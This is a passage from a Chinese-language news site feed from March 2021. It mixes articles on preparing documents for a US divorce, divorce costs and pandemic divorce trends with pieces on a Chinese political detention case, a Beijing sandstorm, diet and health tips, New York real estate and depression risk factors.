有些文件可通过抵押公司或银行来获得。与当初购买房地产有关的所有文件,包括不动产抵押声明。
如果对房地产进行了再融资,还需要所有与再融资有关的文件。

与任何和所有房地产有关的税务评估员的陈述。

3. 与联合财务帐户有关的文件

您和您的配偶单独或共同持有的,个人或联名帐户的储蓄存折和储蓄证明。

过去两年中,以以个人或双方名义共同持有的所有银行帐户中的银行对帐单。

双方共同持有的投资帐户对帐单。

4. 与人寿保险有关的文件

您个人的、配偶的或子女的人寿保险单据,包括个人保单和雇主提供的保单。也包括任何能够表明现金余额,或针对保单的贷款的文件。

5. 与婚姻债务有关的文件

当初以个人或双方名义,申请的各种未偿债务、无抵押债务的详细列表,包括信用卡、医疗帐单和任何其它贷款。

6. 与养恤基金有关的文件

养老金、退休基金、401(k)计划、共同基金或IRA最近单据的副本。

7. 有关拥有汽车的文件

您或您的配偶单独或共同拥有的所有车辆的产权或注册,包括(但不限于):汽车、船只、全地形车、雪地摩托、农用设备或其它车辆等。

能够证明车辆当前未偿还债务的文件,包括付款优惠券、摊销时间表或月度发票。

2021-03-18 / by / in , ,
疫情大流行,有的忙著结婚,有的忙著离婚,有的想离婚却不敢离婚,为什么?

【金牌网讯】疫情对美国家庭产生了深远的影响。有些州在疫情期间保持此前的离婚率下降趋势,在另一些州,离婚率反而上升。

 

据Bowling Green State University去年对亚利桑那州、佛罗里达州、密苏里州、新罕布什尔州和俄勒冈州的家庭婚姻研究,发现疫情期间结婚率下降,佛罗里达州同期结婚数量,比预期减少2.8万个;但在亚利桑那州和新罕布神州,结婚率反而上升。有三个州保持较低的离婚率, 4个州离婚率下降,在新罕布什尔州骤降36%,在密苏里州下降21%。

疫情期间确实出现一些婚姻关系变好的家庭。据美国家庭调查(America Family Survey)的数据,美国已婚人口中有58%的人认为,疫情期间,她们变的更欣赏自己的配偶;有一半人认为,他们对婚姻变得更有责任感。

疫情确实改变了很多美国家庭的结构。在疫情持续期间,美国有210万女性完全离开了就业市场,男性失业人数也在增加。去年12月份,美国失去工作的女性就多达15. 6万人。因疫情期间找不到托儿所,或需要照顾在家上学的儿童,女性不得不失业,她们不去工作的可能性是男性的2倍。有预测认为,这次疫情大流行可能使女性需要至少10年才能重返职场。

疫情制造的各种压力,给美国人家庭的稳定带来巨大挑战。由于疫情,导致人们缺少经济资源和财务安全感,很多人推迟婚姻或不结婚。

一些州离婚率转低,还可能存在人们自我克制的因素。因为疫情导致家庭财务失控,有的夫妇虽然希望分手,但付不起离婚费。有些咨询者在疫情期间直接冻结了离婚程序,因为他们不想在配偶收入减少时开始离婚过程。这些现象也说明了,为什么离婚咨询量大幅增加,但离婚率却出现下降的现象。

因此,离婚率下降应该只是一个暂时现象。恰如一位律师的分析:疫情对每个人按下了停止键,一旦疫情结束,离婚率就可能激增。

也有一些州,即使疫情也挡不住人们离婚的愿望。去年疫情3月份开始后,加州的一些离婚律师发现网络上搜索离婚信息的数量,增加了30%;同期,与家暴有关的案件也有增加。有加州律师反馈说,潜在离婚客户的电话增加,客户中很多人想立即就离婚。

国家法律评论(national law review)一篇文章介绍说,去年4月份,人们对离婚的兴趣增加了34%。而且,越是新婚的夫妇越可能提出离婚。结婚不到5个月的新婚夫妇,寻求离婚的比例甚至高达20%。而在2019年同期,这一数字只有11%。这可能与家暴有关。疫情期间家暴案比去年同期增加9%。

家庭关系专家认为:财务压力、无聊、对养育问题的分歧以及对家务事的争吵,是家庭关系矛盾中最常见的因素。疫情期间,孩子在家上学,失业使人们面临新的财务不确定性,使那些本来就有婚姻压力的家庭更加不稳定。

有些地方离婚率低,也可能与法庭的离婚案件积压有关。如纽约地区因纽约法庭关闭,案件积压,法官忙不过来,让一些人只能继续忍受痛苦的离婚过程。比如,在纽约州,非紧急的事项很难挤上法官的日程。离婚律师也忙的起早贪黑。有些法庭,案件在疫情之前就积压高达90%,疫情期间甚至高到98%。

在加州,因为急于离婚,使用私人法官来解决离婚问题的人越来越多。这都是那些付得起高额离婚费用的人士。他们雇佣的私人法官通常已退休,收费高达800美元/小时。洛杉矶的一位私人法官,一天收费高达2万美元,仍有人排队等着他,他的日程表排满了今后的几个月时间。

2021-03-17 / by / in , , , ,
离婚时,需要准备哪些材料?完整准备材料,才能让离婚过程省钱省时省精力–税务和收入材料准备

【金牌网讯】离婚过程劳神费心又烧钱。但如果准备工作做的好,不仅有助于加快离婚过程,还能大幅减少离婚费用。本节说明在税务和收入方面,需要做哪些材料准备。

一,准备与报税有关的材料

1,收集你和配偶最近一年的年终收入报告,可能还需要最后三个月的收入报告。如果收入未在工资清单上显示出来,可提供年初至今的收入记录。如果工资清单包括奖金,员工股票购买计划,股票期权,股权激励,以及其它非经常性收入。最好能提供近5年的年终工资单,包括累计休假时间。

2,过去5年联邦和州政府报税申报表。包括所有附件,W-2表格,任何来自商业实体的K-1表格。如果手边没有税务申报表,可从IRS预定一副本。

3,公司和合伙企业的税务报告。获取最近5年获利的实体企业的税务报表文档。你的会计师有你个人或企业的报税申报表,可要求他们提供副本。

4,财务报表。为你本人或为你和配偶共同准备的各种财务报告,你过去5年付利息的商业实体的财务报告。包括贷款申请和批复文件。

5,雇佣合同或雇佣录取通知。这些文件能够说明补偿金和其它福利信息,也为你和配偶准备一份雇员福利的简介。,

6,如果是自雇工作,需提供以下材料:

1)过去5年的财务报告或损益表。

2)过去5年的商业报税表。

3)商业协议或其它有关业务评估的协议。

4)过去5年为该业务准备的任何贷款或信贷申请。

5)现有的业务评估。

二,准备与收入有关的文件

1,过去一年所有与就业有关的薪水支票存根。自雇工作,需提供报税申报副本和与自雇有关的收入表,过去三年你和配偶享有收益的各类文件。

2,你配偶同期的支票存根。这些支票通常显示年初至今的收入和扣除额。

3,如果你和配偶从事自雇工作,也需要提供支票本,银行对账单,已取消的支票,付款收据,财务报表和损益表。

4,过去三年向联邦和州提供的个人或夫妻共同收入退税表。

5,如果你和配偶工作时不收信用卡,而是收现金,可收集会计分类账的副本,以证明婚姻期间的工作收入和费用。

6,为担保银行贷款或其他目的的财务报告或者净收入报告。

7,其它属于你的净资产,配偶的净资产,联合净资产,你的收入和你配偶收入的任何其他信息。(具体案件需要的材料,请与律师商讨)

2021-03-17 / by / in , , ,
离婚方式不同,花费差异极大,看完这篇介绍,你就知道该如何慎重选择离婚方式

【金牌网讯】离婚是一件很伤脑筋的事情,不但分心,还要分财。尤其是走完离婚过程,也需要一笔不菲的开支。

在美国离婚,有许多因素影响离婚的总体花费,包括是选择有争议离婚,还是选择无争议离婚?离婚争议有多少?是否雇佣离婚调解人,选择哪一家法律公司和离婚律师,等等。

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对于平均的离婚花费,美国知名财经网站Money Fool综合各项资讯,给出以下答案:

离婚平均花费:12,900美元

离婚的中位花费:7,500美元

无争议离婚或者无重大争议的离婚,要少很多,平均为:4,100美元

通过法庭裁决两个或以上的争议,平均花费23,300美元

每小时平均律师费270美元

离婚律师从头至尾全面介入,平均法律费用为11,300美元/人。

律师费用的中位数为7,000美元

离婚平均需花费12-18个月时间。

申请费用各州不等,全美从北卡的75美元到加州435美元不等。

2019年,根据legal website Nolo调查,平均离婚费用为12,900美元,中位数为7,500美元。涉及到孩子监护权、赡养费的有争议离婚,会明显提高离婚费用。

每宗案件具体花费多少,还需要寻找离婚律师测算。具体费用还需考虑居住所在地,是否需要儿童监护和赡养,夫妻之间的赡养费是否要考虑,以及离婚是在庭外解决还是通过法庭审理解决,等等。

不同的离婚方式,费用差别有多大?

费用不同的离婚种类 平均费用:美元 中位数
无重大争议的离婚 4,100
无赡养费有关的争议 7,800 4,250
无有关儿童的争议 10,100 6,000
争议在庭外解决 10,600
有儿童相关的争议 15,500 9,300
有赡养费有关的争议 15,900 10,300
审理解决一个争议 20,379
审理解决2个以及以上争议 23,300

律师费要多少?看具体案件和具体承办人

根据调查,支付离婚律师费,取决于律师的资历、案件的复杂程度,当地的生活水平,等多种因素。有的离婚律师提供固定费用,这有利于你做离婚预算。

如果按小时计算:全美离婚律师当中收费比例,根据Martindale-Nolo Research《How Much Divorce Lawyers Charge》一文中的调查数据为:

11%,100美元/小时

34%,200美元/小时

35%,300美元/小时

20%,400美元/小时

如果按照案件来计算,离婚案平均律师费

无争议离婚平均律师费:4,100美元

有一个争议在庭外解决:10,400美元

通过审判解决的律师费一般为:17,700美元

如果能够在6个月内完成,离婚律师费平均约为6,500美元。因此,离婚前,对争议尽量通过协商解决,可省下很多费用。

最省钱的方式,也可以不请离婚律师。通过离婚调节,也可以帮助解决争议,减少争议的律师费用。雇佣一个调节人,平均花费约为970美元。

无争议的离婚通常只需要支付申请费。通过离婚法庭审理,就需要交动议费,法庭报告费用,以及其他杂费。

离婚带来时间和退休账户的损失

根据 legal website Nolo的调查,解决一件离婚案平均需要12个月时间;通过法庭审理来解决至少一个有争议的问题,平均时间就会延长到18个月。

长期的研究显示,离婚会导致当事人降低77%的财富。

根据 National Institute for Retirement Security数据,离婚者固定供款退休账户平均值比没离婚的也少很多。离婚男账户平均值:58,951美元,有婚姻的为84,874美元;离婚女账户平均值:38,613美元,有婚姻的50,126美元。

 

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2021-03-16 / by / in , ,
潘石屹之子潘瑞因言获罪大有玄机

古风:潘石屹之子潘瑞因言获罪玄机!

因言获罪这种案例在中国已多不胜数,这些所谓的罪犯往往只是在网上说了些对政府或中共领导人不敬的话而获罪,1年前,安徽画家张冬宁画猪居然冠以“辱华罪”抓去坐牢,总之,中共推出的各种罪名是层出不穷

近期在北京又发生了一轰动世界的大,去年中缅双方发生军事冲突,双方都有人员伤亡,缅方对有关伤亡人员的情况都会及时向媒体如实通报,而中共却始终瞒报,后来有中国网友把参战阵亡的烈士墓碑晒到网上引发热议,后来中共以“参战阵亡的烈士墓碑涉国家机密” 为由删帖并到处抓捕参与网议者,这其中就有地产大亨潘石屹之子潘瑞

北京警方提供的罪证显2020623日,身在国外的潘瑞在他的微博上说:听说至少有一个营地被印度活埋了,好像没有机会天葬就是这样一句无关痛痒的话,居然给潘瑞及其家庭带来一场灾难。当时由于潘瑞身处国外,北京警方也拿也沒有办法。然而,其父潘石屹却是一个身份敏感且拥有巨额财富的大人物,也是中共打土豪及排除异己重点对象,因此,有人便拿其子潘瑞这条博文大做文章,并冠以 “涉嫌诋毁解放军戍边官兵” 罪名 逼迫潘石屹夫妇敦促其潘瑞尽快返回中国接受调查处理。

20213月15日北京海淀公安分局官方微博发布通报,近期,新闻媒体报道捍卫国土戍边官兵的英雄事迹后,有群众向警方举报,一新浪微博用户曾于2020年6月23日在他人微博评论区发表造谣诋毁英雄烈士的言论,造成恶劣社会影响。

通报“经警方调查核实,该微博用户潘某(男,30岁)于2020年2月2日离京出境后,一直在境外。目前,海淀公安分局已依法对潘某(发出)刑事拘留(通知书),并对其开展追逃。在此,警方敦促其尽快回国接受调查处理。”

事实上,中共瞒报中印战况导致信息不对称这起事件的元凶2020年6月中印边境冲突导致双方出现军人伤亡印方当天就向媒体公布了伤亡人数及名单,可中方却始终隐瞒不报,直到今年2月19日(8个月后)《解放军报》公布中方中印边境冲突共有4名官兵死亡。中国民间对伤亡人数的真实性不乏议论和猜疑。网友质疑的理由有两个:一、2020年6月,印度各大媒体报道中国军人死亡人数在35-50人之间二、中方参战阵亡的烈士墓碑数量与中共官媒报道的人数有出入。对于网友的质疑,中共不但拒绝向公众解释,反而出面抓捕网友,甚至身处境外的网友都遭到警方通缉

有知情网友此次潘瑞因言获罪的背后大有玄机。中共高调追捕身在境外的潘瑞只是一个幌子,真正的目的是为了打击潘石屹夫妇吞并其家族财富。在任志强和马云出事前,中共就利用网络水军对潘石屹夫妇进行污名化,称他们是“美国间谍” 、“卖国贼” 。可见,中共早就把潘石屹夫妇与任志强、马云等商界大佬划上等号。

就在潘石屹好友任志强出事之前,中国大陆就开始疯传潘石屹夫妇要抛售资产移居海外据大陆媒体报道,2013年后(习近平上任后),SOHO中国(潘石屹夫妇的公司)几乎每年都会出售旗下项目。据无冕财经研究员统计,2014年至2019年间,SOHO中国累计出售资产套现约293.41亿元。其中,金额较大的包括84.93亿元将外滩“地王”50%的权益转让给复星国际,52.3亿元出售上海SOHO海伦广场和静安广场,50.08亿元出售凌空SOHO等。

国内媒体普遍认为潘石屹会像李嘉诚一样逃离中国,事实上,潘石屹的行为也证实了媒体的猜测。潘石屹卖掉国內几百亿元资产后,他又对外称要卖掉北京总部的办公楼。201910月30日,大陆有多家媒体报道,SOHO中国正考虑以81亿美元的价出售公司总部的办公大楼。

据媒体报道,潘石屹将公司在国內的资产出售后,大量的资金都转移到欧美国家,而在外打理这些资产的人就是其子潘瑞。潘石屹此举无疑令中共当局非常恼火可明面上又无法阻止潘石屹的商业行为,因为潘的产都装入了境外上市公司,中共要对他下手还必须找到一个合理的借口。而潘石屹本人也很忌讳外界说他要逃离

中国,于是,他曾多次公开否认逃离之说。可无他怎样否认,中共是不可能会放过他的因此,潘这几年在国内办事就难免处处受气,加上他不配合中共推行的私企国有化,就令中共某些掌权者更加不能容忍

在中国,新一轮的“打土豪、分田地”运动正在上演,一大批企家都相继出事。2月25日,中国国家主席习近平在“脱贫攻坚总结表彰大会”上说:“新民主主义革命时期,党团结带领广大农民“打土豪、分田地”,实行“耕者有其田”,帮助穷苦人翻身得解放,赢得了最广大人民广泛支持和拥护,夺取了中国革命胜利,建立了新中国,为摆脱贫困创造了根本政治条件。”

正所谓匹夫无罪,怀璧有罪。当前,中国各级政府正处经济困境中,财政发工资都非常困难。而习近平在“脱贫攻坚总结表彰大会” 高调推崇“打土豪、分田地” 运动的正确性,明显就是一种政治暗示,再加上近期阿里巴巴马云和腾讯马化腾等一大批企业家“被共产” ,而潘石屹夫妇又公开资产,中共显然是不乐意。因此,出事不奇怪,不出事反而是奇怪。

2021-03-15 / by / in
两会刚结束,中国北方迎来10年来最猛沙尘暴,户外行动宜停止

【金牌网讯】中国大陆北方12省市,在两会刚结束的3月14日,迎来近十年来最猛沙尘暴。从甘肃、内蒙、河北、北京,到新疆南部地区,山西北部等地,均出现猛烈的沙尘暴天气。

从网友发出来的视频可以看到,沙尘暴如大片灾难场景,席卷而来,遮天蔽日,夹杂著呼啸凄厉的风吼声,令人感觉毛骨悚然。

北方众多城市,浮尘漫天,四处飞扬,空气重度污染。过去满大街的高楼大厦,只能看到沙尘暴中的灰蒙蒙黑影。北京大部分地区,据报能见度低于1千米,个别地方能见度不足200米,导致400多次航班被取消。
北京的空气质量指数为6346,非常不健康,属于重度污染天气。

根据维基百科资料,重度污染会造成:心脏病和肺病患者症状显著加剧,运动耐受力降低,健康人群普遍出现症状。建议儿童、老年人及心脏病、呼吸系统疾病患者,应停留在室内,停止户外活动。

针对一向搞形式主义,人们并无真正选举权的“两会”刚刚结束,沙尘暴天气就突奔而来,网友们纷纷调侃。
公子沈:沙尘暴少了雾霾来了,雾霾少了就来沙尘暴。北京和河北城市都不能算适合人类居住的城市。
推特的网友野山推文称:深圳《晶报》刊文《沙逼北京》,报道北京沙尘暴景象,结果遭到投诉。这一标题很有气势,但琢磨起来,感觉又有点不对劲,似乎在影射什么。

 

2021-03-15 / by / in , , ,
疫情封闭惹祸!离婚文件暴增,法官压力山大;离婚需慎重,无过错离婚,不等于无条件离婚

【金牌讯】新冠疫情的隔离和封闭政策,使美国家庭矛盾增加,导致离婚率暴增。加上在美国离婚不再基于一方的错误,可提出无过错离婚申请,使离婚变得似乎更容易。但说归说,真正离婚并不容易,除了找离婚律师帮忙,还必须满足一些条件,才能顺利分开。

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纽约州的无过错离婚始于2010年,按照纽约州家庭婚姻法的要求:

一方要宣誓声明,夫妻关系分裂6个月以上,已不可挽回,才可提出离婚申请。
此外,无过错申请还必须满足纽约州家庭法规定的一项居住要求:
1,夫妻中任何一方,在离婚案开始前一直居住于纽约州,连续2年以上;
2,任何一方,在案件开始前连续住纽约州至少1年,并且,1)在纽约州结婚;2)或者,曾是夫妇住在纽约州;3)或者,离婚理由发生在纽约州。
3,夫妻双方在开始离婚前是纽约州居民,并且离婚理由发生在纽约州。

满足上述两项情感破裂和居住条件要求,就符合了提出无过错离婚的资格要求,但要拿到离婚证书,还必须解决以下问题:
1)公平分配婚姻财产;
2)支付或者放弃配偶赡养费;
3)支付子女抚养费;
4)支付离婚律师和专家的费用和支出;
5)监护和探望婚生未成年子女。

不过,即使双方在上庭前,对上述方面已达成协议,如果法庭认为:协议内容对一方不公,仍可能改变其中一些条款。比如,对配偶潜在收入预测的差距,法庭可能会有不同于夫妻双方的看法,会倾向于保护弱势的一方。

另外,提出这一申请,还必须注意最后一个问题:

双方上庭后不能再有争议,否则,案件就可能演变为有争议离婚。这就要求双方上庭前,对离婚律师要开诚布公,夫妻间要相互坦诚,不能再有隐藏的财产或收入。
在无争议离婚的情况下,在纽约市可从文件递交给法院之日算起在3个月时间完成离婚程序。但是之前的咨询律师、文件准备,尤其是送达被告的文件需要签字并寄回,所花费的时间当事人也需要有所准备。

疫情期间,纽约市因为案件积压,可能需要更多时间。

无过错离婚,通常是大多数夫妻离婚时的首选方案。与那些有争议的离婚案相比,无过错离婚,可以避免双方在法庭上的相互伤害,更有利于保护双方的隐私,代价也更低。一般人,尤其是名人,怕家丑外扬,不愿意互揭老底,这是很多家庭选择这一方式的原因。

无过错离婚方式在出现后,曾给美国社会带来巨大的社会问题。比如,在无过错离婚法开始实施的上世纪70年代前后,曾经爆发离婚潮,导致出现大量的单亲家庭,影响了家庭的稳定,伤害了儿童的健康成长。

因此,虽然无过错离婚虽然让离婚变得更加便利,但在提出离婚之前,还是要三思,不要一时冲动,走错路。尤其是在新冠疫情期间,因为大多数人被迫呆在家里工作学习,减少或取消了各种社交活动,狭小的空间可能使家庭成员之间的很多摩擦变的似乎不可调和,但随著疫情消失,各种活动回复正常,夫妇之间的很多矛盾,可能也会消失,重新回归正常的生活。

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2021-03-15 / by / in , ,
吃燕麦真的降血糖吗 ?破解糖尿病饮食迷思

健康/糖尿病/饮食/肥胖

糖尿病是常见的一种多发病,所以也经常听到一些人说糖尿病患者这东西不能吃、那东西不能吃,还有哪些东西对糖尿病患降血糖有帮助,好多糖尿病患者听了也迷茫了?

那么今天专家整理以下三大常被流传的糖尿病饮食迷思,详述这些“传说”哪里对哪里不对错。

《全民健康基金会》报道:好心肝门诊中心新陈代谢暨内分泌科主治医师陈爱华指出,糖尿病患该怎么吃?吃了东西出现什么反应是否就是已经罹患糖尿病?这些都是很多人感兴趣的议题,像是喝水会胖是否已有糖尿病?吃很甜会让血糖升高?吃燕麦可以降血糖?这些都是真的吗?

Q:喝水都会胖表示有糖尿病?

A:这个问题的答案是“错”的,糖尿病跟肥胖之间没有绝对的关系,许多糖尿患者严重的时候,体重不是增加反而是减轻,“所以绝对不是喝水会胖就表示有糖尿病”。若遇到患者觉得自己连喝水都会胖,这时医师会详细了解平常饮食、生活习惯等,看是否有饮食不均衡、或者活动量太少等等的问题。另外,甲状腺功能低下时也容易造成肥胖,因此如果真的连喝水都会胖的话,建议去找新陈代谢科医师,检查自己是否有代谢过慢的问题。


白煮蛋加吐司

Q:糖尿病是吃太多糖造成的?

A:这个问题的答案“可以算对也可以说是错的”。为什么这样说?是因为造成糖尿病的原因非常复杂,包括先天性因素,例如遗传体质,以及后天因素,例如失调的生活习惯(如肥胖、饮食不健康,包括甜的食物吃太多,以及运动太少等等)。从成因来看非常复杂,因此,绝对不是仅因吃糖吃太多就会造成糖尿病。

Q:吃燕麦片可以降血糖?

A:很多人都说燕麦片吃了可以降血糖,临床上不少糖尿病人问:“医生我是不是要吃燕麦片?”这个问题的答案“可以说它是对的也是错的”。因为真要说能降血糖的,只有药物跟胰岛素。至于燕麦片的好处,主要是它可以帮助控制及稳定血糖、让血糖不要上升得太快,除此之外它也可以帮助控制胆固醇。

燕麦对血糖的好处,主要就是在于它有很多膳食纤维,这些膳食纤维吃下去之后,会让胃产生饱足感、不致因此吃进太多食物,而且它是低GI(升糖指数,Glycemic Index )食物,这类食物吃下去之后血糖会上升得比较缓慢、比较稳定,血糖不会像云霄飞车般起起伏伏。

谈到燕麦饮食,陈医师建议糖尿病友,如果平时早餐是吃稀饭或者是烧饼油条者,不妨可以使用大燕麦片配低脂牛奶,或者是豆浆,再加水煮蛋或是一片吐司,来取代你本来的早餐饮食,会比原来的早餐选择来得健康喔。

2021-03-14 / by / in
美国一项研究:有心衰的人,要多吃抗炎食物!

心力衰竭/抗炎食物/橄榄油/粗粮/水果/蔬菜/茶/咖啡/促炎食物/红肉/加工肉类/动物内脏/含糖饮料

最近美国发表一项研究表明,有些患者出现心力衰竭,建议多吃一些抗炎食物,可减少一半的住院率和死亡风险。


橄榄油

炎症评分较高,也就是促炎食物包括红肉、加工肉类、细粮、高脂乳制品、动物内脏、含糖饮料;而橄榄油、粗粮、水果、蔬菜、茶、咖啡等炎症评分较低,属于抗炎食物。

这项研究共分析了213例心衰患者的饮食情况,研究者指出,如果心衰患者少吃促炎食物,可能更有益。


其实,除了心衰患者对炎症评分较高食物亮红灯外,南京大学医学院附属金陵医院进行等研究发现,抗炎食物可降低缺血性脑卒中患者的颈部易损斑块风险。

研究发现,有颈部易损斑块的患者要比无易损斑块者,食物炎症指数较高,水果蔬菜及坚果都吃得少。

饮食模式还可能通过炎症之外的其他机制影响动脉粥样硬化斑块的进展。

食物炎症指数高,还与2型糖尿病、不利于健康脂蛋白以及代谢综合征有关,而这些均可能损害斑块的稳定结构。

有研究显示,肠道微生物紊乱或是动脉粥样硬化潜在原因,而饮食模式可能会改变肠道微生物。


豆类、谷类

建议食物品种多样,以谷类为主,注意能量平衡,多食蔬果、奶类和大豆等,这些属于都抗炎食物。

不论如何,每个人都应该注意饮食,毕竟长期饮食习惯会影响全身炎症水平。

2021-03-14 / by / in
进进出出纽约市 地产市场转升温

进进出出纽约市  地产市场转升温

【金牌网】纽约人过去一年有种坐过山车的感觉。街头骚乱和疫情,让人常有朝不保夕之忧。因此,搬到临近的郊区或者其他地区成为一种常见现象。 寸土寸金的纽约市房地产市场出现大批的空置公寓。
现在随著疫情趋缓,疫苗普及,纽约变的更安全了,回到纽约安家的人也开始增多。我们来看看纽约市现在的房地产市场状态如何。

房租普遍降低 目前是入市良机

与去年同期相比,1月份,纽约的房租普遍下降。
纽约市房租中位价下降8.7%。分析认为,这是短期趋势。因为,疫情一旦结束,公司开始正常营业,工作机会增加,地产需求也会相应增加。因此,现在入市是个好机会。以1月份行情为例:
曼哈顿Studio从2,700下降到2,148,下降20.4%;一室一厅从3,595下降到2,950,下降17.9%;两室一厅从4,250 ,到2,968,降幅达30.16%。两居室租赁价格几乎和一居室持平。三居室从6,500降到5,348,降幅17.72%。
曼哈顿公寓空置率5.33%,比去年同期1.73%高出很多。但随著找房的人越来越多,可利用公寓数量下降了9.3%,使公寓变的越来越难找。分析认为,可能有房东在储备房源,想得到一个更好的价格,未入市推广的因素。
租赁价格下降,吸引了大量的人群。今年1月份租约为6,255,比上年同期增加60%。
法拉盛皇后区,三居室房租价格从上年4,066美元下降到3,000美元,下降1,066美元。一室一厅从3,903美元下降到2,514美元,降幅达35.58%。Studio从2,594 下降到2,000,下降22.89%。
目前在纽约市租小型Studio公寓房,不管在哪个区,都会得到最好的折扣。折扣幅度在曼哈顿为20%,布鲁克林24%,皇后区23%。(数据来源Douglas Elliman)
同期,全美小型公寓租赁价格仅下降2.4%。
但曼哈顿的豪华公寓,表现与众不同,租赁起步价6,500美元,价格几乎与去年持平,均价9,000美元/月。这显示出高收入阶层虽然同受疫情影响,但他们仍然保持著优越的生活。
布鲁克林区豪华公寓下降10%,起步4,600美元;皇后区起步3,700美元,价格折扣为17%。

纽约更多卖家试图退出房地产市场

纽约合作公寓销售量上升167%,Condo量销售上升50%,Town home销售量上升100%。
据Realtor.com数据,曼哈顿试图卖房的卖家,比上年增45%。
全美的地产市场都呈现出上涨的势头。
目前纽约市房产的中位价格为55万美元,比上年度增长10.2%,但市场分析认为,这并不意味著地产市场走强。这是一种全国现象,是整个房地产市场膨胀的反映。
不光是纽约,全国的地产中位价格都上涨了13.2%。
纽约市的空房率在最为火热的1月份为5.33%,上年同期1.73%高出许多。全美的空房率为6.4%。纽约市的空房率并不突出。而且,一旦疫情结束,空房率就可能下降。
现在买房,可能会有几个月的空置时间,房租一开始可能较低。还有房东存房未降价出租。市场分析认为:虽然纽约房地产目前不是投资就能快速赚钱,但地产投资是一个长期的游戏,是为了将来的某个时间更容易升值。

2021-03-13 / by / in , ,
医生证实:抑郁症喜欢向这六种人“打招呼”,希望你不在其中

健康/心理健康/抑郁

抑郁症是现代社会很多人的通病,尤其是经济发达的都市,工作压力、社交压力以及来自社会方方面面的压力,给很多人带来心理困扰。轻度抑郁症会影响到正常的生活和工作,发展到严重的程度就会产生非常负面的念头,甚至是自杀。

抑郁症是一种比较常见的心理疾病,如果放任其发展, 会给患者的身心健康带来巨大的危害。轻度抑郁症会开始影响患者的正常生活和工作,发展到最后, 患者可能忍受不了抑郁症带来的痛苦,从而会产生自杀的念头。

抑郁症的成因尚未明确, 大多数人认为抑郁症是一种在心理因素和多重社会因素作用下产生的 心理疾病。但是其实抑郁症的发生也有迹可循, 某些特定人群患抑郁症的几率可能会高于一般人。

那么抑郁症常见于哪些人群呢?什么人会比较容易患上抑郁症呢?
抑郁症一般女性患病几率高于男性,除了性别, 一些特定的性格特点或者生活环境也容易出现抑郁症。


抑郁

抑郁症喜欢向这六种人“打招呼”

1、有家族抑郁史人群:

抑郁症跟家族病史有一定的关系。有研究显示,如果父母其中有1人患有抑郁症, 子女患病几率为百分之二十五;若双亲都是抑郁症病人, 子女患病几率则塔高至50%~75%。

2、性格偏消极人群:

性格内向的人,容易自卑、自责的人, 以及看事物比较悲观的人等,都比较易患上抑郁症。还有学习不好, 工作能力差,对什么事都不积极的人也比较容易患上心理疾病。


抑郁

3、中年人:

中年人大多成家立业,相应也取得一定的社会地位, 不论是工作还是家庭,责任比较大, 因此患抑郁症的比例相较于其他年龄要高。

4、孕妇或初为人母的女性:

孩子的诞生不仅是一件喜事, 也是一份责任,很多女性在怀孕生产时, 往往还没有作好当妈妈的心理准备,在产后容易出现抑郁症。

5、长期患病的患者:

疾病会给人带来痛苦,尤其是癌症患者, 患上严重疾病,长期得不到治愈,容易造成性格孤僻, 心理上也饱受磨难,进而会导致病患患上抑郁症, 而抑郁症还会降低人体免疫力,从而使原始的病情恶化。


抑郁

6、发生婚变人群:

作为出轨者,他们通常瞒着配偶和家人, 这样心理上容易进入疲惫期,整天也会提心吊胆,当被发现时, 家庭出现矛盾难以处理,这时就很难支撑起自己。作为被出轨者, 被爱人伤害的痛苦,家庭的破碎都会带来心理上的创伤, 从而患上抑郁症。

最后,如果发现自己患有抑郁症一定要及时获取专业帮助, 因为接受针对性治疗才是治疗抑郁症的关键。如果发现身边有朋友得了抑郁症一定要尽力帮助他们, 尽力让朋友接受治疗。

2021-03-13 / by / in
睡觉时 床头禁止放这几样东西!

睡眠/手机/床头/闹钟/靠枕

由于个人生活习惯不同,好多朋友喜欢在床头摆些时髦的物品,可是没有想到这些物品会给睡眠造成干扰,无意中降低了睡眠质量。

1、手机

不建议把手机放在床头。

精神科专家建议,想要提高睡眠质量,一定要将带屏幕的电子设备,如手机、平板电脑、电视等物品带出卧室、远离床头。这些物品都会不断刺激你的大脑,让你的精神处于兴奋状态,从而导致入睡困难、心绪不宁。

想睡个好觉,先远离手机,让大脑彻底“关机休息”,才能尽快进入深度睡眠!

2、闹钟

床头放闹钟,也是大多数人的第一反应。

但需要注意的是,一方面,闹钟的滴答声音会影响入睡;另一方面,当人熟睡的时候,闹钟忽然大声地响起,会使人精神紧张,一下子很难缓过神,甚至还会出现血压突然增高的情况。

如果需要定时叫醒的话,也尽量把闹钟声音调得小一些,免得忽然响起的闹铃惊到自己。


闹钟和毛绒玩具

3、毛绒玩具

毛绒玩具表面极易隐藏灰尘、细菌和甲醛。

还有一些“三无”毛绒玩具是用有害化学纤维填充的,容易使人流泪、起红斑,甚至引起呼吸道和皮肤感染。卧室里不要摆放任何毛绒玩具。

4、花草

不少人喜欢莳花弄草,卧室也会放置上几盆。

床头要避免放宽大叶片的大型植物。晚上,这些植物会消耗氧气、释放二氧化碳,如果再加上卧室面积较小,或没有开窗通风,可能会对睡眠质量造成影响。

另外,也不要放有香气的植物,比如百合、尤加利等,虽说它们的气味本身不会对身体造成伤害,但太刺激的味道,会让我们很难入睡,有时候还会造成头晕。同理,香水、有味道的化妆品,最好也不要放在床头附近。

5、靠枕

很多人喜欢在床上放上抱枕,睡前习惯靠着枕头看书休息。其实靠枕是我们脊椎、腰椎的隐形杀手。

柔软的靠枕让我们的腰部和肩部得不到有力支撑,长期处于弯曲状态,特别容易导致颈椎病、腰椎间盘突出。而以半躺的姿势久坐后,会加重身体的疲劳,睡觉时觉得肩颈难受,大大影响睡眠质量。

另外,睡觉的时候要注意,不要随手拿靠枕来垫在头下做枕头。

随意枕着靠枕休息睡觉,很可能会让脖子和肩膀的肌肉得不到充分的放松,睡醒后出现颈肩酸痛甚至落枕的情况。还有,记得时常清洗、晾晒靠枕。

你的床头有没有放这几样东西?如果最近睡得不太好,试着把它们挪走,看会不会有所改善。一个睡眠香甜的夜晚,才能换来一个精力十足的白天!

2021-03-13 / by / in
餐馆被盯上:疫情之外的新打击

【金牌讯】疫情封闭,餐馆业主本已损失惨重,但危难关头竟然还有人对餐馆业动歪心思,以欺诈方式揩油餐馆,让餐馆蒙受巨额损失。这种情况似乎已经蔓延到全美。从加州到佛罗里达州,都有这类现象出现。

防不胜防的信用卡欺诈

在洛杉矶Fairfax地区,有一家本来生意红火的韩国餐馆,因为被花样百出的骗子频频欺诈,损失惨重,最后不得不关门。
